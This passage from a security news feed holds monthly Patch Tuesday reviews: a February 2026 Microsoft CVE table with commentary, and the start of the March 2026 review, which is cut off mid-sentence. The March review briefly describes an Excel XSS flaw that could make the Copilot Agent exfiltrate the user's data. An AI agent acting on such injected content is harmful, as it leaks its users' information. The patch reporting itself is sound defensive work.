  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20846"><span><span> </span>CVE-2026-20846<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GDI+ Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21523"><span><span> </span>CVE-2026-21523<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518"><span><span> </span>CVE-2026-21518<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code
  Security Feature Bypass Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21257"><span><span> </span>CVE-2026-21257<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21256"><span><span> </span>CVE-2026-21256<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"><span><span> </span>CVE-2026-21516<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot for Jetbrains Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"><span><span> </span>CVE-2026-21253<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Mailslot File System Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21537"><span><span> </span>CVE-2026-21537 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Defender for Endpoint Linux
  Extension Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21259"><span><span> </span>CVE-2026-21259<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21258"><span><span> </span>CVE-2026-21258<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21261"><span><span> </span>CVE-2026-21261<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21527"><span><span> </span>CVE-2026-21527<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Exchange Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21260"><span><span> </span>CVE-2026-21260<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21229"><span><span> </span>CVE-2026-21229<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Power BI Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21236"><span><span> </span>CVE-2026-21236<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21238"><span><span> </span>CVE-2026-21238<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21241"><span><span> </span>CVE-2026-21241<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21517"><span><span> </span>CVE-2026-21517<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows App for Mac Installer Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21234"><span><span> </span>CVE-2026-21234<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21235"><span><span> </span>CVE-2026-21235<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21246"><span><span> </span>CVE-2026-21246<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21232"><span><span> </span>CVE-2026-21232<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21240"><span><span> </span>CVE-2026-21240<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21250"><span><span> </span>CVE-2026-21250<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21244"><span><span> </span>CVE-2026-21244<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21247"><span><span> </span>CVE-2026-21247<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21248"><span><span> </span>CVE-2026-21248<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21255"><span><span> </span>CVE-2026-21255<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21231"><span><span> </span>CVE-2026-21231<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21239"><span><span> </span>CVE-2026-21239<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"><span><span> </span>CVE-2026-21245<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21222"><span><span> </span>CVE-2026-21222<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21243"><span><span> </span>CVE-2026-21243<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Lightweight Directory Access
  Protocol (LDAP) Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"><span><span> </span>CVE-2026-20841<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Notepad App Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"><span><span> </span>CVE-2026-21249<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows NTLM Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">3.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21508"><span><span> </span>CVE-2026-21508<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Storage Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21237"><span><span> </span>CVE-2026-21237<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21242"><span><span> </span>CVE-2026-21242<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1861"><span><span> </span>CVE-2026-1861 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1861 Heap buffer overflow
  in libvpx<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"><span><span> </span>CVE-2026-1862 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1862 Type Confusion in
  V8<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0391"><span><span> </span>CVE-2026-0391<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Edge (Chromium-based) for Android
  Spoofing Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.</p><p class="">Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.</p><p class="">Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.</p><p class="">There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.</p><p class="">There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.</p><p class="">We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we 